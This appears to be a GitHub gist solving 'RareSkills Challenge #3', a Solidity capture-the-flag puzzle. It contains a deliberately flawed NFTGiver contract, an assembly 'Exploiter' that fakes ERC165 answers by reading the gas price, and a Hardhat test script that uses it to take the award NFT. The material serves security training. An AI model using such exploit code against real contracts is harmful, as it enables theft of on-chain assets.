Created
November 20, 2022 18:09
-
-
Save cygaar/b240d6fe732df34790d4ab31367aeb07 to your computer and use it in GitHub Desktop.
RareSkills Challenge #3
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: GPL-3.0 | |
pragma solidity 0.8.15; | |
import '@openzeppelin/contracts/utils/introspection/ERC165.sol'; | |
import '@openzeppelin/contracts/token/ERC721/ERC721.sol'; | |
contract Award is ERC721 { | |
constructor() ERC721('Award', 'A') { | |
_mint(msg.sender, 1337); | |
} | |
} | |
// NOTE | |
// The NFTGiver contract does not follow the ERC165 spec properly. It's supposed | |
// to consist of two calls, one to determine if it is ERC165, then the specific | |
// protocol. Don't copy this code for production applications. | |
contract NFTGiver { | |
uint256 public constant GAS_LIMIT = 46; | |
struct Game { | |
bool success1; | |
bool success2; | |
bool success3; | |
bool success4; | |
} | |
mapping(ERC165 => Game) private passedChallenge; | |
bytes4 immutable ERC1155Reciever = 0x4e2312e0; | |
bytes4 immutable ERC1363Reciever = 0x88a7ca5c; | |
bytes4 immutable ERCRareReciever = 0x13371337; | |
bytes4 immutable ERCBadReceiver = 0xdecafc0f; | |
ERC721 private award; | |
uint256[] private order; | |
constructor(ERC721 awardNFT, uint256[] memory _order) { | |
award = awardNFT; | |
order = _order; | |
} | |
function _supportsInterface(ERC165 target, bytes4 _interface) | |
public | |
view | |
returns (bool) | |
{ | |
return target.supportsInterface{gas: GAS_LIMIT}(_interface); | |
} | |
function challenge1(ERC165 target) external { | |
require(_supportsInterface(target, ERC1155Reciever)); | |
require(!_supportsInterface(target, ERC1363Reciever)); | |
require(!_supportsInterface(target, ERCRareReciever)); | |
require(!_supportsInterface(target, ERCBadReceiver)); | |
passedChallenge[target].success1 = true; | |
require(order[order.length - 1] == 1); | |
order.pop(); | |
} | |
function challenge2(ERC165 target) external { | |
require(!_supportsInterface(target, ERC1155Reciever)); | |
require(_supportsInterface(target, ERC1363Reciever)); | |
require(!_supportsInterface(target, ERCRareReciever)); | |
require(!_supportsInterface(target, ERCBadReceiver)); | |
require(order[order.length - 1] == 2); | |
order.pop(); | |
passedChallenge[target].success2 = true; | |
} | |
function challenge3(ERC165 target) external { | |
require(!_supportsInterface(target, ERC1155Reciever)); | |
require(!_supportsInterface(target, ERC1363Reciever)); | |
require(_supportsInterface(target, ERCRareReciever)); | |
require(!_supportsInterface(target, ERCBadReceiver)); | |
require(order[order.length - 1] == 3); | |
order.pop(); | |
passedChallenge[target].success3 = true; | |
} | |
function challenge4(ERC165 target) external { | |
require(!_supportsInterface(target, ERC1155Reciever)); | |
require(!_supportsInterface(target, ERC1363Reciever)); | |
require(!_supportsInterface(target, ERCRareReciever)); | |
require(_supportsInterface(target, ERCBadReceiver)); | |
require(order[order.length - 1] == 4); | |
order.pop(); | |
passedChallenge[target].success4 = true; | |
} | |
function success(ERC165 target) external { | |
require(passedChallenge[target].success1); | |
require(passedChallenge[target].success2); | |
require(passedChallenge[target].success3); | |
require(passedChallenge[target].success4); | |
delete passedChallenge[target]; | |
require(award.ownerOf(1337) == address(this)); | |
award.transferFrom(address(this), msg.sender, 1337); | |
} | |
} | |
contract Exploiter { | |
fallback() external payable { | |
assembly { | |
let result := eq(shr(224, calldataload(4)), gasprice()) | |
mstore(returndatasize(), result) | |
return(0x0, 32) | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { | |
time, | |
loadFixture, | |
setBlockGasLimit, | |
} = require('@nomicfoundation/hardhat-network-helpers'); | |
const { anyValue } = require('@nomicfoundation/hardhat-chai-matchers/withArgs'); | |
const { expect } = require('chai'); | |
const { ethers } = require('hardhat'); | |
const shuffleArray = (array) => { | |
for (let i = array.length - 1; i > 0; i--) { | |
const j = Math.floor(Math.random() * (i + 1)); | |
const temp = array[i]; | |
array[i] = array[j]; | |
array[j] = temp; | |
} | |
}; | |
// RULES | |
// - You may only use the attacker account | |
// - Multiple transactions allowed, but fewer makes you cooler | |
// - You may not modify the victim contract or anything it inherits from | |
// - You may not modify NFT or the parent contracts | |
// - You may not modify the tests, you may only write code in the specified block | |
// - You may not tamper with the javascript random number generator | |
// - You pass the challenge if you pass the test, but if you can | |
// lower the GAS_LIMIT below 46, that makes you cooler | |
describe('ERC165Challenge', function () { | |
this.beforeEach(async function () { | |
await ethers.provider.send('hardhat_reset'); | |
[owner, attacker] = await ethers.getSigners(); | |
const AwardFactory = await ethers.getContractFactory('Award'); | |
const award = await AwardFactory.deploy(); | |
const order = [1, 2, 3, 4]; | |
shuffleArray(order); | |
const Factory = await ethers.getContractFactory('NFTGiver'); | |
const victim = await Factory.deploy(award.address, order); | |
this.victim = victim; | |
this.attacker = attacker; | |
this.award = award; | |
this.order = order; | |
award.transferFrom(owner.address, victim.address, 1337); | |
}); | |
[1, 2, 3, 4, 5, 6, 7].forEach(function (round) { | |
it(`Hack Round ${round}`, async function () { | |
/* YOUR CODE HERE */ | |
const ExploiterFactory = await ethers.getContractFactory( | |
'Exploiter' | |
); | |
let exploiter = await ExploiterFactory.deploy(); | |
for (let i of this.order.reverse()) { | |
if (i === 1) { | |
await this.victim | |
.connect(this.attacker) | |
.challenge1(exploiter.address, { | |
gasPrice: 1310921440, | |
}); | |
} else if (i === 2) { | |
await this.victim | |
.connect(this.attacker) | |
.challenge2(exploiter.address, { | |
gasPrice: 2292697692, | |
}); | |
} else if (i === 3) { | |
await this.victim | |
.connect(this.attacker) | |
.challenge3(exploiter.address, { | |
gasPrice: 322376503, | |
}); | |
} else { | |
await this.victim | |
.connect(this.attacker) | |
.challenge4(exploiter.address, { | |
gasPrice: 3737844751, | |
}); | |
} | |
} | |
await this.victim.connect(this.attacker).success(exploiter.address); | |
}); | |
}); | |
this.afterEach(async function () { | |
expect(await this.award.ownerOf(1337)).to.be.equal( | |
this.attacker.address | |
); | |
}); | |
this.afterAll(async function () { | |
const limitUsed = await this.victim.GAS_LIMIT(); | |
const numTxns = await ethers.provider.getTransactionCount( | |
attacker.address | |
); | |
console.log(`\nGas limit used: ${limitUsed}`); | |
console.log(`Number of Transactions: ${numTxns}`); | |
}); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment